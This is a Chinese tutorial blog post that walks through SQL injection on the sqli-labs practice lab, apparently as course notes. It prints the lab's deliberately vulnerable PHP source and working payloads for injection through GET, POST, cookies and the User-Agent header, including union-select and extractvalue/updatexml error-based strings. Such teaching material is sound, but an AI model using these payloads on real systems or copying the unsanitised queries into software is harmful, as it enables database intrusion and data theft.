第14天：WEB漏洞-SQL注入之类型及提交注入

已于 2023-05-21 19:15:55 修改
阅读量96 收藏
点赞数
文章标签： 前端 sql 数据库
于 2023-05-06 13:45:39 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/cailme/article/details/130505867
版权

在这里插入图片描述

  • 简要明确参数类型
    数字，字符，搜索，JsoN等
  • 简要明确请求方法
    GET, POST,COOKIE，REQUEST，HTTP头等
  • 其中sql语句干扰符号: ',",s,),}等，具体需看写法
  • GET请求使用 --+ 将后面的代码注释不执行
  • POST请求使用 #将后面的代码注释不执行

1、字符型参数注入测试

sqlilabs less 5

在SQL语句中参数的用单引号标记
注入点数据类型为字符型

$sql="SELECT * FROM users WHERE id='$id'LIMIT 0,1";

完整代码如下

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-5 Double Query- Single Quotes- String</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

</font> </div></br></br></br><center>
<img src="../images/Less-5.jpg" /></center>
</body>
</html>

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
SQL执行的语句是采用了单引号 ‘’ 闭合。
我们要是直接使用?id=1 and 1=1相当于执行的是
SELECT * FROM users WHERE id='1 and 1=1' LIMIT 0,1;
是不会有任何的反应，所以?id=1 and 1=1和?id=1 and 1=2返回的页面是一样的。

url?id=1 and 1=1
在这里插入图片描述
url?id=1 and 1=2
在这里插入图片描述

要绕过闭合才能正常注入
正确的报错语句为

http://127.0.0.1:8000/Less-5/?id=1’ and ‘1’=‘1
http://127.0.0.1:8000/Less-5/?id=1’ and ‘1’=‘2
http://127.0.0.1:8000/Less-5/?id=1’ and 1=1–+
http://127.0.0.1:8000/Less-5/?id=1’ and 1=2–+

?id=1' and '1'='1
在这里插入图片描述

?id=1' and '1'='2
在这里插入图片描述
在数据库中执行语句

mysql> SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1;
Empty set (0.00 sec)

获取字段

--+ 是将后面的代码注释不执行

http://127.0.0.1:8000/Less-5/?id=1' order by 4--+
在这里插入图片描述
在数据库中执行

mysql> SELECT * FROM users WHERE id='1' order by 4;
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> SELECT * FROM users WHERE id='1' order by 2;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id:    73
Current database: security

+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)
sqlilabs less 6

采用双引号的方式进行了编码，绕过方法"闭合前面的引号后面采用–+注释

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

完整源代码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-6 Double Query- Double Quotes- String</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3"  color= "#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-6.jpg" /></center>
</body>
</html>

http://127.0.0.1:8000/Less-6/?id= 1'" and 1=1--+
在这里插入图片描述

http://127.0.0.1:8000/Less-6/?id= 1'" and 1=2--+
在这里插入图片描述and 1=1 返回正常, and 1=2 的返回错误,存在注入.

判断字段

http://127.0.0.1:8000/Less-6/?id= 1'" order by 4--+
在这里插入图片描述

2、POST数据提交注入测试

sqlilabs less 11

源代码

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];

	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname);
	fwrite($fp,'Password:'.$passwd."\n");
	fclose($f

	// connectivity 
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);p);

uname和passwd通过POST数据提交

正常登陆页面,账号密码都为:Dumb
在这里插入图片描述

数据包在这里插入图片描述

用hackbar模拟post数据提交测试

返回页面正常
uname=admin' and 1=1#&passwd=admin&Submit=submit
在这里插入图片描述

返回页面和and 1=1不同,存在注入(账号密码admin是错误的,and 1=2 可有可无)

uname=admin' and 1=2#&passwd=admin&Submit=submit
在这里插入图片描述

判断字段

uname=admin' order by 3#&passwd=admin&Submit=submit
字段为2
在这里插入图片描述

uname=admin' and 1=2 union select database(),user()#&passwd=admin&Submit=submit
成功注入
在这里插入图片描述

3、COOKIE数据提交注入测试

sqlilabs less 20

cookie注入原理：对get传递来的参数进行了过滤，但是忽略了cookie也可以传递参数。
cookie注入的原理在于更改本地的cookie，从而利用cookie来提交非法语句。

  • 条件1:程序对get和post方式提交的数据进行了过滤，但未对cookie提交的数据库进行过滤
  • 条件2:条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式，未指明使用request对象的具体方法进行获取，也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选，之后的原理就像我们的sql注入一样了。
网站传递参数的方式
参数类型含义
get型一般访问网页的行为
cookie型伴随着所有访问网页的行为
post型上传文件，登陆
登陆

在这里插入图片描述

抓取数据包

我们可以抓取到两个数据包,我们需要的是有cookie的数据包

  • 无cookie在这里插入图片描述
  • 有cookie,发送到测试器
    在这里插入图片描述

在cookie中注入
返回页面正常
Cookie: uname=admin' and 1=1--+
在这里插入图片描述

返回页面异常,存在注入
Cookie: uname=admin' and 1=2--+

成功注入
Cookie: uname=admin'and 1=2 union select user(),database(),3--+在这里插入图片描述

4、HTTP头部参数数据注入测试

sqlilabs less 18

源代码

	$uagent = $_SERVER['HTTP_USER_AGENT'];
	$IP = $_SERVER['REMOTE_ADDR'];
	echo "<br>";
	echo 'Your IP ADDRESS is: ' .$IP;
	echo "<br>";
	//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

	{
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
	....
	$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
	mysql_query($insert);

源代码对uname和passwd进行了过滤，但是未给uagent和IP进行过滤，使用的SQL语句是insert语句，所以我们可以在uagent和IP中进行insert注入。

基于函数报错的注入

常用的报错函数

updatexml()MYSQL对xml文档数据进行查询和修改的XPATH函数
updatexml(xml_document,XPathstring,new_value)表名，路径（路径错误会报错），替换的值
extractvalue()MYSQL对xml文档数据进行查询XPATH函数
extractvalue(xml_document,XPathstring)表名，路径（路径错误会报错）
floor()MYSQL中用来取整的函数

修改数据包User-Agent参数进行注入

‘and extractvalue (1,concat(0x7e,(select user()),0x7e)) and’
‘and updatexml (1,concat(0x7e,(select user()),0x7e),0) and’

在这里插入图片描述

5、参数JSON数据注入测试

JSON数据格式

curl -X POST https://api.zoomeye.org/user/login -d
{
    "username": "xxx@xx.com",
    "password": "xxxx"
}

注入方式
在这里插入图片描述

注：如果是数字的可以不对 ’ 闭合如果是字符的话，需要闭合闭合。

  • 例：
    id=1 and 1=1
    id=x’ and 1=1–+
cailme
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
14 WEB漏洞：SQL注入之类型及提交注入
qq_52718293的博客
07-02 282
a.数字 b.字符 c.搜索符 4.jsonHTTP头 GET POST COOKIE REQUEST JSON注入相关知识 $_SERVER(php内置变量，可查询数据包或浏览器信息，可以将查询信息改为sql语句)a. 简介 JSON 是存储和交换文本信息的语法，是轻量级的文本数据交换格式。类似xml，但JSON 比 XML 更小、更快，更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”b. JSON语法 ■ 数据在名称/值对中
jpa query oracle 参数int为空_Spring Data JPA 常用注解 @Query、@NamedQuery
weixin_39824529的博客
11-27 294
1、@Transient@Transient表示该属性并非一个到数据库表的字段的映射,ORM框架将忽略该属性；如果一个属性并非数据库表的字段映射，就务必将其标示为@Transient，否则ORM框架默认其注解为@Basic；//表示该字段在数据库表中没有@Transientpublic int getAge() {　return 1+1;}Jackson相关:2、@JsonIgnoreProper...
SQL 注入详解
Bel_Ami_n的博客
02-02 509
SQL 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。 SQL 注入分类 1. 数字型注入 当输入的参数为整型时，则有可能存在数字型注入漏洞。 假设存在一条 URL 为：HTTP://www.aaa.com/test.php?id=1 可以对后台的 SQL 语句猜测为： SELECT * FROM table WHERE i
SQL注入及如何解决
passport404的博客
10-25 1230
一.SQL注入 SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。 目前SQL注入大致分为普通注入和盲注 普通注入：根据后台数据库提示有价值的错误信息进行注入 盲注：有经验的管理员在给出错误页面时，没有提供详细的错误信息。测试者需要运用脚本通过仅有的判断信息(比如时间差)对表中的每一个字段进行探
Spring-Boot-JPA @Query动态拼接 ， jpql多表联查，只查询几个字段的结果封装
qq_27886997的博客
12-12 3763
package com.demo.jpa_query_test.respository; import com.demo.jpa_query_test.model.Stu; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotat...
第14天：WEB漏洞-SQL注入之类型及提交注入1
08-03
#简要明确参数类型数字，字符，搜索，JSON 等#简要明确请求方法GET,POST,COOKIE,REQUEST,HTTP 头等其中 SQL 语句干扰符号：',
CTF Web各种题目的解题姿势
07-27
课时1：SQL注入原理与利用 19'40 课时2：SQL注入宽字节原理与利用42'08 课时3：SQL Union注入原理与利用01'01'54 课时4：SQL注入布尔注入50'02 课时5：报错注入原理与利用29'27 课时6：CTF SQL基于约束注入...
毕业设计：基于Python的web渗透测试工具（源码 + 数据库 + 说明文档）
06-10
毕业设计：基于Python的web渗透测试工具（源码 + 数据库 + 说明文档） 第2章 web安全评估及测试的介绍 8 2.1 渗透测试 8 2.2 web安全评估 8 第3章 渗透测试及安全评估的设计 10...4.3WEB漏洞测试 14 4.4端口扫描测试 15
毕业设计-基于python-web渗透测试工具(django)毕业设计与实现（源码+数据库+演示视频）.zip
07-09
目 录 摘 要 2 Abstract 3 第1章 绪论 5 1.1 研究背景与意义 5 1.2 国内外研究现状和发展趋势 5 1.3 本论文主要工作及组织结构 6 ...4.3WEB漏洞测试 14 4.4端口扫描测试 15 结论 17 致谢 18 参考文献 18
第14篇：WEB漏洞~SQL注入~类型及提交注入
廖一语山的博客
11-22 3638
目录前言正文1.1. 简要明确参数类型1.2. 简要明确请求方法案例 前言   在真实SQL注入安全测试中，我们一定要先明确提交数据及提交方法后在进行注入，其中提交数据类型和提交方法可以通过抓包分析获取，后续安全测试中我们也必须满足同等的操作才能进行注入。 数据类型和提交方法 正文 1.1. 简要明确参数类型 数字、字符、搜索、Json等 1.2. 简要明确请求方法 GET、POST、COOKIT、REQUEST、HTTP头等 其中SQL语句干扰符号：’ " % ) } 等，具体需要看写法 非数字的参
2020小迪培训（第14天 WEB 漏洞-类型及提交注入）
是阿明呐的博客
08-11 731
WEB 漏洞-类型及提交注入 前言 ​ 在真实 SQL 注入安全测试中，我们一定要先明确提交数据及提交方法后再进行注入，其中提交数据类型和提交方法可以通过抓包分析获取， 后续安全测试中我们也必须满足同等的操作才能进行注入。 简要明确参数类型 数字、字符、搜索、JSON （在实际操作中，我们需要用工具/人工进行多次尝试） 数字：前面教程所演示的SQL注入参数类型都是数字型的，我们在注入的时候不需要进行符号闭合的操作 字符：带有单引号,我们不能再采取数字型的注入方式，不然咱们进行测试的语句也被带进语
小迪安全第14天 web漏洞，SQL注入之类型及提交注入
qq_46116117的博客
12-14 1529
14 web漏洞，SQL注入之类型及提交注入 ​ 在真实 SQL 注入安全测试中，我们一定要先明确提交数据及提交方法后再进行注入，其中提交数据类型和提交方法可以通过抓包分析获取， 后续安全测试中我们也必须满足同等的操作才能进行注入。 简要明确参数类型 数字，字符，搜索性，json等 数字型参数 字符型参数 如果字符型参数未加单引号，则会报错 字符型参数注入需要将单引号闭合 如： select * from users where name = 'xihua and 1=1' select * fr
小迪安全学习笔记--第14天：web漏洞--SQL注入及类型以及提交注入
zr1213159840的博客
12-15 569
第14天：web漏洞–SQL注入及类型以及提交注入 主要内容：提交方法和注入类型 五个案例： 参数字符型注入测试=>sqlilabs less 5 6 POST数据提交注入测试=>sqlilabs less 11 参数JSON数据注入测试=>本地环境代码演示 COOKIE数据提交注入测试=>sqlilabs less 20 HTTP头部参数数据注入测试=>sqlilabs less 18 简要明确参数类型 数字，字符，搜索，json 数字与字符的区别决定了后面参数的写法，和注
Web漏洞——sql注入常见类型
qq_52737372的博客
04-12 2738
目录SQL注入产生原理Mysql相关联合注入 SQL注入产生原理 由于web应用程序没有对用户输入的数据进行判断，用户可以自由控制传入后端的数据，因此只要构造相应的语句就可以对数据库非法操作。 Mysql相关 想要进行sql注入必须要先了解一些Mysql的知识。Mysql默认有一个information_schema数据库用来存放其他所有数据库的信息，其中SCHEMATA、TABLES和COLUMNS分别存储了其他数据库的库名，库名和表名， 库名、表名、字段名，其表中记录库名、表名、字段名的字段名分别为ta
WEB漏洞- 注入类型及提交注入
硫酸超的博客
07-28 534
注入类型及提交注入前言简要明确参数类型数字字符搜索简要明确请求方式演示 前言 在真实SQL注入安全测试中，我们一定要先明确提交数据及提交方法后再进行注入，其中提交数据类型和提交方法可以通过抓包分析获取，后续安全测试中我们也必须满足同等的操作才能进行注入。 简要明确参数类型 数字 如果是数字的话可能不存在单引号 对方在数字上加单引号也是有可能的，要看对方的写法，因为纯数字的话加不加单引号是无所谓的，但还是得看前端的代码里有没有单引号 字符 一般是采用单引号 如果参数是字符的话那肯定是有单引号的 即使有
vue源码之mustache模板引擎1
最新发布
qweasl_的博客
05-21 165
模板引擎的一个有点：它是将数据转为视图的最优雅的方法。相信vue的玩家首先想到的是。而还没学vue的朋友，就只能进行dom操作了。通过数组的join方法。以及es6推出的模板字符串。
WEB转Flutter基础学习笔记（内含vue和flutter对比）
小易不止于搬砖的博客
05-17 675
笔者是一名web前端，记录在转栈flutter时的学习笔记，内涵和vue的对比，能够辅助前端同学更容易理解flutter
vue3.0+antdv的admin管理系统vue-admin-beautiful推荐
独行猫a 的沉淀、积累、总结。天天学习，好好向上...c/c++,嵌入式 linux,Android,HarmonyOS)
05-15 1120
几年前，笔者自学了vue这一优秀的前端框架，但苦于没项目练手，无意间发现了这一优秀的前端集成框架。当时就使用它做了一很有意思的小项目---终端监控云平台，实现了前端和后台的整体功能。整体方案介绍参见博文《》，前端使用vue-admin-beautiful框架，后端使用go-zero微服务框架，几天内就搞出来了一个包含前端和后台的小项目。我的monitor-ui前端运行界面：后续有机会介绍下我这个终端监控云平台小项目的具体实现，挺有意思的。几年前还用到过几个地方的公交客户现场，客户挺喜欢这个功能的。
Web Speech API（2）—— SpeechSynthesis
LiangRZ
05-21 256
Web Speech API 有两个部分：SpeechSynthesis 语音合成（文本到语音 TTS）和 SpeechRecognition 语音识别（异步语音识别）。语音合成 (也被称作是文本转为语音，英语简写是 tts) 包括接收 app 中需要语音合成的文本，再在设备麦克风播放出来这两个过程。其中包含了将由语音服务朗读的内容，以及如何朗读它（例如：语种、音高、音量）。语音合成服务的控制器接口，可用于获取设备上可用的合成语音，开始、暂停以及其他相关命令的信息。控制器，从而获取语音合成功能的入口。
SQL注入漏洞-手工注入
05-21
对于SQL注入漏洞的手工注入，建议使用一些工具来进行测试，如SQLMap、Havij等。这些工具可以通过一些特定的语句来测试目标网站是否存在SQL注入漏洞，并且可以自动化执行攻击，并且提供详细的攻击日志，方便测试人员...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值